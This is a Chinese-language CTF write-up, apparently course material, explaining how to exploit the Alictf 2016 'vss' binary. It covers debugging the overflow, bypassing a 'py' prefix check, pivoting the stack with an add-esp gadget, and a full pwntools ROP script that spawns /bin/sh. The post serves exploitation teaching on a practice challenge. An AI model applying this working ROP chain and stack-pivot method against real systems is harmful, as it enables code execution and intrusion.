PWN_09-调整栈帧的技巧-Alictf 2016-vss讲解
7.1-调整栈帧的技巧-Alictf 2016-vss讲解
说明
- 本题原来是使用静态编译+strip命令剥离符号,但是考虑到为基础课程,因此,我已经将此程序进行一定的翻译
- 大家直接加载就好
分析
将每一个函数全部翻译出来确实需要大量的时间,此时我们更换思路,改静态分析为动态分析
载入IDAPro,加载远程调成环境,F2下断点,F9开始执行
- 但是还没怎么输入字符串,发现程序自己就结束掉了
- 分析发现是因为alarm的原因
因此我们在 mov edi,0AH前下断点,可以改变计时器的计时时间,为我们的分析争取时间
继续运行,等运行到read时,我们输入一大串字符串
继续执行,发现程序报错了
是不是很熟悉?没错,溢出了
我们跟踪一下输入的数据的走向
当我们输入abcd1234abcd1234abcd1234之后,发现在下边调用了verify函数,我们按F7步进(进入verify函数),当执行完sub_400330之后,发现我们原本输入的字符串被原封不动的复制了一遍,因此,我们初步判定为strncpy函数
继续往下执行,发现有两个判断,判断输入头两个字母是否是py,若是则直接退出,否则进入一个循环,这 个循环会以[rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且 变得过大,循环最后会因为试图访问没有标志位R的内存页而崩溃。
此时的rbp = 0x7FFC44B4AB80,rax = 0x14C0,rax+rbp = 0x7FFC 44B4 C040,查看内存页是否可读
- 发现7FFC 44B4 C040并不在可读写范围,因此为没有标志位R的内存页,从而导致程序崩溃。
因此我们需要改变思路,尝试一下在输入的开头加上“py”,这时发现了一个数据可控的栈溢出
通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个,使用了strncpy,字符串里不能有\x00,否则会被当做字符串截断从 而无法复制满0x50字节制造可控溢出,,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我 们就需要通过修改esp来完成漏洞利用。
首先,尽管我们有那么多的限制条件,但是在main函数中我们看到read函数的参数指明了长度是0x400。幸 运的是,read函数可以读取“\x00”
这就意味着我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含 add esp的gadgets,搜索到了一些结果
通过这个gadget,我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read 读取”/bin/sh\x00”字符串,最后调用sys_execve了。构建ROP链和完整脚本如下:
#coding:utf-8 from pwn import * io = process("./vss") payload = "" payload += p64(0x6161616161617970) #头两位为py,过检测 payload += 'a'*0x40 #padding payload += p64(0x46f205) #add esp, 0x58; ret payload += 'a'*8 #padding payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数 payload +=p64(0x8) #rdx = 8 payload += p64(0x6c7079) #rsi = 0x6c7079 payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数 payload += p64(0x0) #rdi = 0 payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read payload += p64(0x46f208) #pop rax; ret payload += p64(59) #rax = 0x3b payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数 payload += p64(0x0) #rdx = 0 payload += p64(0x0) #rsi = 0 payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数 payload += p64(0x6c7079) #rdi = 0x6c7079 payload += p64(0x437eae) #syscall print io.recv() io.send(payload) sleep(0.1) #等待程序执行,防止出错 io.send('/bin/sh\x00') io.interactive()
执行结果
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com
文章标题:PWN_09-调整栈帧的技巧-Alictf 2016-vss讲解
本文作者:二豆子·pwnd0u
发布时间:2020-11-21, 16:36:46
最后更新:2020-11-21, 16:37:37
原始链接:http://blog.codefat.cn/2020/11/21/PWN-09-%E8%B0%83%E6%95%B4%E6%A0%88%E5%B8%A7%E7%9A%84%E6%8A%80%E5%B7%A7-Alictf-2016-vss%E8%AE%B2%E8%A7%A3/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。